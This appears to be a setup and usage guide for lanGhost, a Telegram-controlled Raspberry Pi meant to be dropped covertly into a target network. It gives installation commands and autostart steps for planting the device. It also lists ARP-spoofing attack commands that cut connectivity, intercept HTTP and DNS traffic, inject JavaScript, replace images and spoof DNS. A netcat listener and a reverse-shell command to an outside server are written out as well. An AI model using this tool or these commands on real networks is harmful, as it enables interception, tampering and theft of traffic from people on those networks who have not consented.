Telegram Chatbot to control Lan network.
You will need a Raspberry Pi with fresh Raspbian/Kali on the SD card, because you don’t want anything else running in the background.
Boot up the Pi, get an SSH sell or connect a monitor and a keyboard and enter these commands:
$ sudo apt update && sudo apt install python3 python3-pip $ git clone https://github.com/xdavidhu/lanGhost $ cd lanGhost $ sudo ./setup.py
Please read the questions/messages while running the setup script!
step 1/4 – setup.py
[+] Please enter the name of the network interface connected/will be connected to the target LAN. Default wired interface is 'eth0', and the default wireless interface is 'wlan0' on most systems, but you can check it in a different terminal with the 'ifconfig' command.
step 2/4 – setup.py
[+] Please create a Telegram API key by messaging @BotFather on Telegram with the command '/newbot'. After this, @BotFather will ask you to choose a name for your bot. This can be anything you want. Lastly, @BotFather will ask you for a username for your bot. You have to choose a unique username here which ends with 'bot'. For example: xdavidbot. Make note of this username, since later you will have to search for this to find your bot, which lanGhost will be running on. After you send you username of choise to @BotFather, you will recieve your API key.
step 3/4 – setup.py
[+] Now for lanGhost to only allow access to you, you need to verify yourself. Send the verification code below TO THE BOT you just created. Just search for your bot's @username (what you sent to @BotFather) to find it. [+] Verification code to send: ******
step 4/4 – setup.py
[+] Do you want lanGhost to start on boot? This option is necessary if you are using this device as a dropbox, because when you are going to drop this device into a network, you will not have the chanse to start lanGhost remotely! (autostart works by adding a new cron '@reboot' entry)
If you are ready with the setup just reboot the Pi and lanGhost will start right up!
Using lanGhost on a networks bigger than /24 is not recommended because the scans will take too long.
lanGhost is not quiet. Anyone monitoring the traffic can see the ARP packets!
drop it into a network:
If you have selected
step 4/4 (autostart) the Pi is fully set up for dropping. lanGhost should start up on boot, and send you a message on Telegram with the text:
lanGhost started! 👻.
Make sure to try it out in your lab first and test if lanGhost is responding to your messages!
If you are all set, just connect it to the target network by plugging in the Ethernet cable into the Pi and connecting the power via micro USB and you are ready to go!
(lanGhost can also work over WiFi, but you will need to set up
wpa_supplicant to connect to the network automatically first)
You can start an attack by using one of these commands:
/kill, /mitm, /replaceimg, /injectjs, /spoofdns
Ater you have one or more attacks running, you can use the
/attack command to get a list of them containing the
To stop an attack type
/reversesh only makes a netcat TCP connection which is not encrypted and all the traffic can be monitored! Only use it for emergency fixes or for setting up an encrypted reverse connection if necessary.
/reversesh command is for getting a reverse shell on the Pi, when its not accessable from the outside.
To use the
/reversesh command you will need to have a server listening for the shell.
Netcat command to start up the listener on your server:
$ nc -l 0.0.0.0 [PORT]
/reversesh [IP-of-your-listening-server] [PORT]
/kill– Stops the internet connectivity for the target.
/mitm– Captures HTTP and DNS traffic from the target and sends it in text messages.
/replaceimg– Replaces HTTP images for the target to what picture you send to the bot.
/spoofdns– Spoofs DNS responses for the target.
All attacks use ARP Spoofing!
/scan– Scans the local network and returns the hosts online. Uses
nmap -snscan to discover hosts.
/scanip– Scans an IP address for open ports and other info. Uses
You will get a message every time when a new device connects/leaves the network.